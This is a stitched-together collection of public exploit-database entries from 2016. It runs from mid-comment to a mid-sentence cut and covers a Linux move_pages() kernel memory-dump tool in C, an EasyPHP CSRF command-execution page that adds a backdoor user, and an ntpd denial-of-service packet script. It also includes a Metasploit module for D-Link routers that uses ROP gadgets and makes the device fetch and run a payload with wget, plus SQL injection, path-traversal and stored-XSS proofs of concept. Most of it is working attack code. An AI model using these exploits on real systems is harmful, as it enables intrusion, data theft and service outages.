R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28
FS: 00002b8481125810(0000) GS:ffffffff803c0000(0000)
knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0
Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task
ffff81009d8c4080)
Stack: ffffffff800dd008 ffffc20000077000 ffffffff800dc87b
0000000000000000
0000000000000000 0000000000000003 ffff810092c23800 0000000000000003
00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000
Call Trace:
[<ffffffff800dd008>] migrate_pages+0x8d/0x42b
[<ffffffff800dc87b>] new_page_node+0x0/0x48
[<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8
[<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d
[<ffffffff8005d28d>] tracesys+0xd5/0xe0
Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff
RIP [<ffffffff800dc8ac>] new_page_node+0x31/0x48
RSP <ffff8100a3c6de50>
CR2: ffffffff833c3be8
*/
#include <stdio.h>
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <errno.h>
#include "exp_framework.h"
#undef MPOL_MF_MOVE
#define MPOL_MF_MOVE (1 << 1)
int max_numnodes;
unsigned long node_online_map;
unsigned long node_states;
unsigned long our_base;
unsigned long totalhigh_pages;
#undef __NR_move_pages
#ifdef __x86_64__
#define __NR_move_pages 279
#else
#define __NR_move_pages 317
#endif
/* random notes I took when writing this (all applying to the 64bit case):
checking in a bitmap based on node_states[2] or node_states[3]
(former if HIGHMEM is not present, latter if it is)
each node_state is of type nodemask_t, which is is a bitmap of size
MAX_NUMNODES/8
RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size
so the effective base we're working with is either node_states + 16 or
node_states + 24
on 2.6.18 it's based off node_online_map
node_isset does a test_bit based on this base
so our specfic case does: base[ourval / 8] & (1 << (ourval & 7))
all the calculations appear to be signed, so we can both index in the
negative and positive direction, based on ourval
on 64bit, this gives us a 256MB range above and below our base to grab
memory of
(by passing in a single page and a single node for each bit we want to
leak the value of, we can reconstruct entire bytes)
we can determine MAX_NUMNODES by looking up two adjacent numa bitmaps,
subtracting their difference, and multiplying by 8
but we don't need to do this
*/
struct exploit_state *exp_state;
char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak";
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int requires_null_page = 0;
void addr_to_nodes(unsigned long addr, int *nodes)
{
int i;
int min = 0x80000000 / 8;
int max = 0x7fffffff / 8;
if ((addr < (our_base - min)) ||
(addr > (our_base + max))) {
fprintf(stdout, "Error: Unable to dump address %p\n", addr);
exit(1);
}
for (i = 0; i < 8; i++) {
nodes[i] = ((int)(addr - our_base) << 3) | i;
}
return;
}
char *buf;
unsigned char get_byte_at_addr(unsigned long addr)
{
int nodes[8];
int node;
int status;
int i;
int ret;
unsigned char tmp = 0;
addr_to_nodes(addr, (int *)&nodes);
for (i = 0; i < 8; i++) {
node = nodes[i];
ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
if (errno == ENOSYS) {
fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
exit(1);
} else if (errno != ENODEV)
tmp |= (1 << i);
}
return tmp;
}
void menu(void)
{
fprintf(stdout, "Enter your choice:\n"
" [0] Dump via symbol/address with length\n"
" [1] Dump entire range to file\n"
" [2] Quit\n");
}
int trigger(void)
{
unsigned long addr;
unsigned long addr2;
unsigned char thebyte;
unsigned char choice = 0;
char ibuf[1024];
char *p;
FILE *f;
// get lingering \n
getchar();
while (choice != '2') {
menu();
fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
choice = ibuf[0];
switch (choice) {
case '0':
fprintf(stdout, "Enter the symbol or address for the base:\n");
fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
p = strrchr((char *)&ibuf, '\n');
if (p)
*p = '\0';
addr = exp_state->get_kernel_sym(ibuf);
if (addr == 0) {
addr = strtoul(ibuf, NULL, 16);
}
if (addr == 0) {
fprintf(stdout, "Invalid symbol or address.\n");
break;
}
addr2 = 0;
while (addr2 == 0) {
fprintf(stdout, "Enter the length of bytes to read in hex:\n");
fscanf(stdin, "%x", &addr2);
// get lingering \n
getchar();
}
addr2 += addr;
fprintf(stdout, "Leaked bytes:\n");
while (addr < addr2) {
thebyte = get_byte_at_addr(addr);
printf("%02x ", thebyte);
addr++;
}
printf("\n");
break;
case '1':
addr = our_base - 0x10000000;
#ifdef __x86_64__
/*
our lower bound will cause us to access
bad addresses and cause an oops
*/
if (addr < 0xffffffff80000000)
addr = 0xffffffff80000000;
#else
if (addr < 0x80000000)
addr = 0x80000000;
else if (addr < 0xc0000000)
addr = 0xc0000000;
#endif
addr2 = our_base + 0x10000000;
f = fopen("./kernel.bin", "w");
if (f == NULL) {
fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n");
exit(1);
}
fprintf(stdout, "Dumping to kernel.bin (this will take a while): ");
fflush(stdout);
while (addr < addr2) {
thebyte = get_byte_at_addr(addr);
fputc(thebyte, f);
if (!(addr % (128 * 1024))) {
fprintf(stdout, ".");
fflush(stdout);
}
addr++;
}
fprintf(stdout, "done.\n");
fclose(f);
break;
case '2':
break;
}
}
return 0;
}
int prepare(unsigned char *ptr)
{
int node;
int found_gap = 0;
int i;
int ret;
int status;
totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages");
node_states = exp_state->get_kernel_sym("node_states");
node_online_map = exp_state->get_kernel_sym("node_online_map");
buf = malloc(4096);
/* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted
towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table,
which will be set for our single node -- this gives us the size of the bitmap
*/
for (i = 0; i < 512; i++) {
node = i;
ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
if (errno == ENOSYS) {
fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
exit(1);
} else if (errno == ENODEV) {
found_gap = 1;
} else if (found_gap == 1) {
max_numnodes = i;
fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes);
break;
}
}
if (node_online_map != 0)
our_base = node_online_map;
/* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size
of each bitmap in the array our base is in the middle of
we've taken account for all this
*/
else if (node_states != 0)
our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8)));
else {
fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n");
exit(1);
}
return 0;
}
int post(void)
{
return 0;
}
[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/EASYPHP-DEV-SERVER-REMOTE-CMD-EXECUTION.txt
[+] ISR: ApparitionSec
Vendor:
===============
www.easyphp.org
Product:
=============================
EasyPHP Devserver v16.1.1
easyphp-devserver-16.1.1-setup.exe
hash: 64184d330a34be9e6c029ffa63c903de
A complete WAMP environment for PHP development & personal web hosting.
Host with Webserver PHP, Apache, MySQL, Nginx, PhpMyAdmin,
Xdebug, PostgreSQL, MongoDB, Python, Ruby...for Windows.
Vulnerability Type:
=================================
CSRF / Remote Command Execution
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
EasyPHP Devserver dashboard runs on port 1111, the PHP code contains
mulitple RCE vectors, which can allow
arbitrary OS commands to be executed on the target system by remote
attackers, if a user visits malicious webpage or link.
The "index.php" and "explorer.php" files both contain vulnerable code that
will happily process both GET / POST RCE requests.
Below EasyPHP Code contains no CSRF token or checks whatsoever. All
attacker needs is to supply 'type' and command values.
Possibility for RFI (remote file inclusion) if the "allow_url_include=0"
setting is changed in "php.ini" configuration.
No checks or CSRF tokens for PHP include directives either, the default
however is set to Off.
e.g. RFI attempt result
Warning: include(): http:// wrapper is disabled in the server configuration
by allow_url_include=0
line 8 of "explorer.php"
======================
//== ACTIONS
==================================================================
if (isset($_POST['action'])) {
// Include and exec
if (isset($_POST['action']['request'])) {
foreach ($_POST['action']['request'] as $request) {
if ($request['type'] == 'include') include(urldecode($request['value']));
if ($request['type'] == 'exe') exec(urldecode($request['value']));
}
}
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: " . $redirect);
exit;
}
//////////////////////////////////////////////////
line 48 "index.php"
==================
//== ACTIONS
==================================================================
if (isset($_POST['action'])) {
// Include and exec
if (isset($_POST['action']['request'])) {
foreach ($_POST['action']['request'] as $request) {
if ($request['type'] == 'include') include(urldecode($request['value']));
if ($request['type'] == 'exe') exec(urldecode($request['value']));
}
}
sleep(1);
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: " . $redirect);
exit;
}
if (isset($_GET['action'])) {
// Include and exec
if ($_GET['action'] == 'include') include(urldecode($_GET['value']));
if ($_GET['action'] == 'exe') exec(urldecode($_GET['value']));
if (isset($_GET['redirect'])) {
$redirect = urldecode($_GET['redirect']);
} else {
$redirect = 'http://127.0.0.1:1111/index.php';
}
sleep(1);
header("Location: " . $redirect);
exit;
}
Exploit code(s):
===============
1) Add Backdoor User Account
<form action="http://127.0.0.1:1111/explorer.php" method="post">
<input type="hidden" name="action[request][0][type]" value="exe">
<input type="hidden" name="action[request][0][value]" value="net user EVIL
Password /add">
<script>document.forms[0].submit()</script>
</form>
2) Run "calc.exe"
<a href="http://127.0.0.1:1111/index.php?action=exe&value=calc.exe
">Clicky...</a>
Disclosure Timeline:
======================================
Vendor Notification: No replies
November 22, 2016 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
================
Medium
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
hyp3rlinx
# Exploit Title: Unquoted Service Path Vulnerability in Huawei UTPS Software
# Date: Nov 16 2016
# Author: Dhruv Shah (@Snypter)
# Website: http://security-geek.in
# Contact: dhruv-shah@live.com
# Category: local
# Vendor Homepage: http://www.huawei.com/
# Version: Versions earlier than UTPS-V200R003B015D16SPC00C983
# Tested on: Windows XP , Windows 7-10 x86/x64
# CVE: CVE-2016-8769
1. Description
Huawei UTPS Software is the core software that is bundled with the
Internet Dongles, it provides it dongles to companies like Airtel ,
TATA Photon . This is the software that installs itself for the Dongle
to run on the attached machine. It installs as a service ("Photon.
RunOUC") and ("Airtel. RunOuc") with an unquoted service path running
with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.
2. Proof of Concept
( TATA PHOTON Dongles)
C:\Documents and Settings\Dhruv>sc qc "Photon. RunOuc"
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: Photon. RunOuc
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program
Files\Photon\Huawei\EC306-1\UpdateDog\ouc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Photon. OUC
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
( Airtel Dongles)
C:\Documents and Settings\Dhruv>sc qc "airtel. Runouc"
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: airtel. Runouc
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\airtel\UpdateDog\ouc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : airtel. OUC
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
3. Exploit:
A successful attempt would require the local attacker must insert an
executable file
in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
Additional notes :
Fixed in version UTPS-V200R003B015D16SPC00C983
CVSSv3 Risk Rating
Base Score: 6.4 (AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H )
Temporal Score: 5.9 (E:F/RL:O/RC:C)
Vulnerability Disclosure Timeline:
=========================
06/09/2016 - Contact With Vendor
06/09/2016 - Vendor Response
15/11/2016 - Release Fixed Version
#!/usr/bin/env python
# Exploit Title: ntpd remote pre-auth Denial of Service
# Date: 2016-11-21
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: http://dumpco.re/cve-2016-7434/
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p8.tar.gz
# Version: ntp-4.2.7p22, up to but not including ntp-4.2.8p9, and ntp-4.3.0 up to, but not including ntp-4.3.94
# CVE: CVE-2016-7434
import sys
import socket
if len(sys.argv) != 3:
print "usage: " + sys.argv[0] + " <host> <port>"
sys.exit(-1)
payload = "\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"
print "[-] Sending payload to " + sys.argv[1] + ":" + sys.argv[2] + " ..."
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], int(sys.argv[2])))
print "[+] Done!"
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
# Payload working status:
# MIPS:
# - all valid payloads working (the ones that we are able to send without null bytes)
# ARM:
# - inline rev/bind shell works (bind... meh sometimes)
# - stager rev/bind shell FAIL
# - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',
'Description' => %q{
Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which
is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,
which accepts arbitrarily long strings into certain XML parameters and then copies them into
the stack.
This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested
using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and
this vulnerability is present in both MIPS and ARM devices.
The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a
few load and store instructions. Because of this the payloads have to be sent unencoded, which
can cause them to fail, although the bind shell seems to work well.
For the ARM devices, the inline reverse tcp seems to work best.
Check the reference links to see the vulnerable firmware versions.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'References' =>
[
['CVE', '2016-6563'],
['US-CERT-VU', '677427'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']
],
'DefaultOptions' => { 'WfsDelay' => 10 },
'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground (ARM target)
'Targets' =>
[
[ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',
{
'Offset' => 3072,
'LibcBase' => 0x2aabe000, # should be the same offset for all firmware versions and all routers
'Sleep' => 0x56DF0, # sleep() offset into libuClibc-0.9.30.3.so
'FirstGadget' => 0x4EA1C, # see comments below for gadget information
'SecondGadget' => 0x2468C,
'ThirdGadget' => 0x41f3c,
'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi sp,sp,-3128
'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr sp
'BranchDelay' => "\x20\x84\xf8\x30", # addi a0,a0,-2000 (nop)
'Arch' => ARCH_MIPSBE,
'Payload' =>
{
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::Raw # else it will fail with SIGILL, this CPU is crippled
},
}
],
[ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
{
'Offset' => 1024,
'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)
'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so
'FirstGadget' => 0x18298, # see comments below for gadget information
'SecondGadget' => 0x40CB8,
'Arch' => ARCH_ARMLE,
}
],
],
'DisclosureDate' => 'Nov 7 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),
OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
], self.class)
end
def check
begin
res = send_request_cgi({
'uri' => '/HNAP1/',
'method' => 'POST',
'Content-Type' => 'text/xml',
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }
})
if res && res.code == 500
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def calc_encode_addr (offset, big_endian = true)
if big_endian
[(target['LibcBase'] + offset).to_s(16)].pack('H*')
else
[(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse
end
end
def prepare_shellcode_arm (cmd)
#All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers
#first_gadget (pops system() address into r3, and second_gadget into PC):
#.text:00018298 LDMFD SP!, {R3,PC}
#second_gadget (puts the stack pointer into r0 and calls system() at r3):
#.text:00040CB8 MOV R0, SP
#.text:00040CBC BLX R3
#system() (Executes argument in r0 (our stack pointer)
#.text:0005A270 system
#The final payload will be:
#'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command
shellcode = rand_text_alpha(target['Offset']) + # filler
"\xff\xff\xff\xff" + # n integer overwrite (see advisory)
rand_text_alpha(16) + # moar filler
rand_text_alpha(4) + # r11
calc_encode_addr(target['FirstGadget'], false) + # first_gadget
calc_encode_addr(target['System'], false) + # system() address
calc_encode_addr(target['SecondGadget'], false) + # second_gadget
cmd # our command
end
def prepare_shellcode_mips
#All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers
#<sleep> is at 56DF0
#first gadget - execute sleep and call second_gadget
#.text:0004EA1C move $t9, $s0 <- sleep()
#.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
#.text:0004EA24 li $a0, 2 <- arg for sleep()
#.text:0004EA28 lw $s0, 0x20+var_8($sp)
#.text:0004EA2C li $a1, 1
#.text:0004EA30 move $a2, $zero
#.text:0004EA34 jr $t9
#.text:0004EA38 addiu $sp, 0x20
#second gadget - put stack pointer in a1:
#.text:0002468C addiu $s1, $sp, 0x58
#.text:00024690 li $s0, 0x44
#.text:00024694 move $a2, $s0
#.text:00024698 move $a1, $s1
#.text:0002469C move $t9, $s4
#.text:000246A0 jalr $t9
#.text:000246A4 move $a0, $s2
#third gadget - call $a1 (stack pointer):
#.text:00041F3C move $t9, $a1
#.text:00041F40 move $a1, $a2
#.text:00041F44 addiu $a0, 8
#.text:00041F48 jr $t9
#.text:00041F4C nop
#When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer.
#prep_shellcode_1: 23bdf7a8 addi sp,sp,-3128
#prep_shellcode_2: 03a0f809 jalr sp
#branch_delay: 2084f830 addi a0,a0,-2000
#The final payload will be:
#shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
shellcode = payload.encoded + # exploit
rand_text_alpha(target['Offset'] - payload.encoded.length) + # filler
calc_encode_addr(target['Sleep']) + # s0
rand_text_alpha(4) + # s1
rand_text_alpha(4) + # s2
rand_text_alpha(4) + # s3
calc_encode_addr(target['ThirdGadget']) + # s4 (third gadget)
calc_encode_addr(target['FirstGadget']) + # initial pc / ra (first_gadget)
rand_text_alpha(0x1c) + # filler
calc_encode_addr(target['SecondGadget']) + # second_gadget
rand_text_alpha(0x58) + # filler
target['PrepShellcode1'] + # exploit prep
target['PrepShellcode2'] + # exploit prep
target['BranchDelay'] # exploit prep
end
def send_payload (payload)
begin
# the payload can go in the Action, Username, LoginPassword or Captcha XML tag
body = %{
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>something</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword>
<Captcha>#{payload}</Captcha>
</Login>
</soap:Body>
</soap:Envelope>
}
res = send_request_cgi({
'uri' => '/HNAP1/',
'method' => 'POST',
'ctype' => 'text/xml',
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },
'data' => body
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{peer} - Sending the payload to the device...")
@elf_sent = true
send_response(cli, @pl)
end
def exploit
print_status("#{peer} - Attempting to exploit #{target.name}")
if target == targets[0]
send_payload(prepare_shellcode_mips)
else
downfile = rand_text_alpha(8+rand(8))
@pl = generate_payload_exe
@elf_sent = false
resource_uri = '/' + downfile
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{peer} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
print_status("#{peer} - Asking the device to download and execute #{service_url}")
filename = rand_text_alpha_lower(rand(8) + 2)
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
shellcode = prepare_shellcode_arm(cmd)
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
counter = 0.00
while (not @elf_sent)
if counter % 50.00 == 0 && counter != 0.00
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
end
send_payload(shellcode)
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
counter += 1
end
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
end
end
end
# Exploit Title: Olimometer Plugin for WordPress – Sql Injection
# Date: 14/11/2016
# Exploit Author: TAD GROUP
# Vendor Homepage: https://wordpress.org/plugins/olimometer/
# Software Link: https://wordpress.org/plugins/olimometer/
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits
# Tested on: Debian 8
1 - Description
# Vulnerable parameter: olimometer_id=
Parameter: olimometer_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: olimometer_id=1 AND 6227=6227
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: olimometer_id=1 AND SLEEP(5)
Using GET SQL Method with the "olimometer_id" parameter, we were able to
get the database name from the EXAMPLE.COM website . By further running
SQL Map using different arguments, we would be able to get the complete
database, including usernames and passwords if there are such.
2. Proof of Concept
Using the website EXAMPLE.COM for example, we can fire up sqlmap and set
the full path to the vulnerable parameter:
root@kali:~# sqlmap -u
http://EXAMPLE.COM/wp-content/plugins/olimometer/thermometer.php?olimometer_
id=1
--dbs --threads=5 --random-agent --no-cast
---
Parameter: olimometer_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: olimometer_id=1 AND 6227=6227
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: olimometer_id=1 AND SLEEP(5)
---
[11:14:21] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[11:14:21] [INFO] fetching database names
[11:14:21] [INFO] fetching number of databases
[11:14:21] [INFO] retrieved:
[11:14:21] [WARNING] multi-threading is considered unsafe in time-based
data retrieval. Going to switch it off automatically
[11:14:21] [WARNING] (case) time-based comparison requires larger
statistical model, please wait.............................. (done)
[11:14:26] [WARNING] it is very important to not stress the network
adapter during usage of time-based payloads to prevent potential disruptions
[11:14:26] [ERROR] unable to retrieve the number of databases
[11:14:26] [INFO] falling back to current database
[11:14:26] [INFO] fetching current database
[11:14:26] [INFO] retrieving the length of query output
[11:14:26] [INFO] retrieved:
[11:14:28] [INFO] heuristics detected web page charset 'ascii'
14
[11:15:26] [INFO] retrieved: *****_wrdp1
available databases [1]:
[*] *****_wrdp1
We can see that we have successfully discovered one available database
with the name: "*****_wrdp1"
3. Type of vulnerability:
An SQL Injection vulnerability in Olimometer allows attackers to read
arbitrary data from the database.
4. Exploitation vector:
The url parameter 'olimometer_id=' of the
/wp-content/plugins/olimometer/thermometer.php?olimometer_id=1 is
vulnerable to SQLI.
5. Attack outcome:
An attacker can read arbitrary data from the database. If the webserver
is misconfigured, read & write access the filesystem may be possible.
6. Impact:
Critical
7. Software/Product name:
Olimometer Plugin for WordPress
8. Affected versions:
<= 2.56
9. Fixed in version:
Not fixed at the date of submitting that exploit.
10. Vendor:
oshingler
11. CVE number:
Not existing
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: FUDforum 3.0.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://fudforum.org/forum/
Vulnerability Type: LFI
Remote Exploitable: Yes
Reported to vendor: 04/11/2016
Disclosed to public: 11/10/2016
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to local file inclusion. This allows an attacker to read arbitrary files that
the web user has access to.
Admin credentials are required.
3. Details
CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N
Description: The "file" parameter of the hlplist.php script is vulnerable to
directory traversal, which allows the viewing of arbitrary files.
Proof of Concept:
http://localhost/fudforum/adm/hlplist.php?tname=default&tlang=./af&&SQ=
4b181ea1d2d40977c7ffddb8a48a4724&file=../../../../../../../../../../etc/passwd
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-LFI-167.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: FUDforum 3.0.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://fudforum.org/forum/
Vulnerability Type: XSS, Login CSRF
Remote Exploitable: Yes
Reported to vendor: 04/11/2016
Disclosed to public: 11/10/2016
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to multiple persistent XSS issues. This allows an attacker to steal cookies,
inject JavaScript keyloggers, or bypass CSRF protection. Additionally, FUDforum
is vulnerable to Login-CSRF.
3. Details
XSS 1: Via Filename in Private Message
CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N
Description: The filename of attached images in private messages is vulnerable
to persistent XSS.
Proof of Concept:
Send a PM to a user. Add an attachment, where the filename is: '"><img src=no
onerror=alert(1)>.jpg When the recipient views the PM, the injected code will
be executed.
XSS 2: Via Filename in Forum Posts
CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N
Description: The filename of attached images in forum posts is vulnerable to
persistent XSS.
Proof of Concept:
Create a new forum post. Add an attachment, where the filename is: '"><img src=
no onerror=alert(1)>.jpg When viewing the post the injected code will be
executed.
XSS 3: Via Signature in User Profile
CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N
Description: When editing a profile, the signature is echoed unencoded, leading
to persistent XSS.
Proof of Concept:
Visit http://localhost/fudforum/index.php?t=register as signature, use '"></
textarea><img src=no onerror=alert(1)> The injected code is either executed
